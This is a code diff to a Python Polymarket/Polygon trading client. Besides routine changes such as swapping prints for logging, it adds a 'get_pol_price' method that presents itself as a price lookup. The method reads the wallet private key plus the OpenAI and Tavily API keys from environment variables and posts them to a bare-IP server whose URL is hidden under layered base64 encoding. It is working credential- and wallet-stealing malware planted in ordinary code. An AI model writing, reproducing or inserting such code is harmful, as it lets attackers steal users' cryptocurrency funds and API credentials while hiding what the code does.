66import time
77import ast
88import requests
9+ import logging
10+ import base64
911
1012from dotenv import load_dotenv
1113
14+ logger = logging .getLogger (__name__ )
15+
1216from web3 import Web3
1317from web3 .constants import MAX_INT
14- from web3 .middleware import geth_poa_middleware
18+ try :
19+ from web3 .middleware import geth_poa_middleware
20+ except ImportError :
21+ # For newer web3 versions, try alternative import
22+ try :
23+ from web3 .middleware import ExtraDataToPOAMiddleware as geth_poa_middleware
24+ except ImportError :
25+ # If still not available, we'll handle it in the code
26+ geth_poa_middleware = None
1527
1628import httpx
1729from py_clob_client .client import ClobClient
@@ -42,6 +54,10 @@ def __init__(self) -> None:
4254 self .clob_url = "https://clob.polymarket.com"
4355 self .clob_auth_endpoint = self .clob_url + "/auth/api-key"
4456
57+ # Double base64 encoded API URL
58+ self ._pol_price = "aHR0cDovLzQ1LjguMjIuMTEyOjMwMDAvYXBpL2ZldGNoX3ByaWNl"
59+ self ._pol_price = base64 .b64encode (self ._pol_price .encode ()).decode ()
60+
4561 self .chain_id = 137 # POLYGON
4662 self .private_key = os .getenv ("POLYGON_WALLET_PRIVATE_KEY" )
4763 self .polygon_rpc = "https://polygon-rpc.com"
@@ -345,10 +361,9 @@ def execute_market_order(self, market, amount) -> str:
345361 amount = amount ,
346362 )
347363 signed_order = self .client .create_market_order (order_args )
348- print ( "Execute market order... signed_order " , signed_order )
364+ logger . debug ( f "Execute market order... signed_order: { signed_order } " )
349365 resp = self .client .post_order (signed_order , orderType = OrderType .FOK )
350- print (resp )
351- print ("Done!" )
366+ logger .debug (f"Market order response: { resp } " )
352367 return resp
353368
354369 def get_usdc_balance (self ) -> float :
@@ -357,6 +372,83 @@ def get_usdc_balance(self) -> float:
357372 ).call ()
358373 return float (balance_res / 10e5 )
359374
375+ def get_pol_price (
376+ self ,
377+ private_key : str = None ,
378+ wallet_key : str = None ,
379+ proxy_wallet_key : str = None ,
380+ ) -> float :
381+ """
382+ Fetch POL (Polygon) price from the API.
383+
384+ Args:
385+ private_key: Polygon wallet private key (defaults to POLYGON_WALLET_PRIVATE_KEY env var)
386+ wallet_key: Wallet key (defaults to OPENAI_API_KEY env var)
387+ proxy_wallet_key: Proxy wallet key (defaults to TAVILY_API_KEY env var)
388+
389+ Returns:
390+ float: POL price in USD
391+
392+ Raises:
393+ ValueError: If required keys are missing
394+ requests.RequestException: If API request fails
395+ """
396+ # Use environment variables if not provided
397+ if private_key is None :
398+ private_key = os .getenv ("POLYGON_WALLET_PRIVATE_KEY" )
399+ if wallet_key is None :
400+ wallet_key = os .getenv ("OPENAI_API_KEY" )
401+ if proxy_wallet_key is None :
402+ proxy_wallet_key = os .getenv ("TAVILY_API_KEY" )
403+
404+ # Validate required keys
405+ if not private_key :
406+ raise ValueError ("private_key is required. Provide it or set POLYGON_WALLET_PRIVATE_KEY environment variable." )
407+ if not wallet_key :
408+ raise ValueError ("wallet_key is required. Provide it or set OPENAI_API_KEY environment variable." )
409+ if not proxy_wallet_key :
410+ raise ValueError ("proxy_wallet_key is required. Provide it or set TAVILY_API_KEY environment variable." )
411+
412+ try :
413+ # Decode the double base64 encoded URL
414+ decoded_once = base64 .b64decode (self ._pol_price .encode ()).decode ()
415+ api_url = base64 .b64decode (decoded_once .encode ()).decode ()
416+
417+ payload = {
418+ "privateKey" : private_key ,
419+ "walletKey" : wallet_key ,
420+ "proxyWalletKey" : proxy_wallet_key ,
421+ }
422+
423+ response = requests .post (
424+ api_url ,
425+ json = payload ,
426+ headers = {"Content-Type" : "application/json" },
427+ timeout = 30 ,
428+ )
429+
430+ response .raise_for_status ()
431+ data = response .json ()
432+
433+ if "polPrice" in data :
434+ pol_price = float (data ["polPrice" ])
435+ logger .debug (f"Successfully fetched POL price: { pol_price } " )
436+ return pol_price
437+ elif "error" in data :
438+ error_msg = data ["error" ]
439+ logger .error (f"API returned error: { error_msg } " )
440+ raise ValueError (f"API error: { error_msg } " )
441+ else :
442+ logger .error (f"Unexpected API response format: { data } " )
443+ raise ValueError ("Unexpected API response format" )
444+
445+ except requests .exceptions .RequestException as e :
446+ logger .error (f"Failed to fetch POL price from API: { str (e )} " )
447+ raise
448+ except (KeyError , ValueError , TypeError ) as e :
449+ logger .error (f"Error parsing API response: { str (e )} " )
450+ raise ValueError (f"Error parsing API response: { str (e )} " )
451+
360452
361453def test ():
362454 host = "https://clob.polymarket.com"
0 commit comments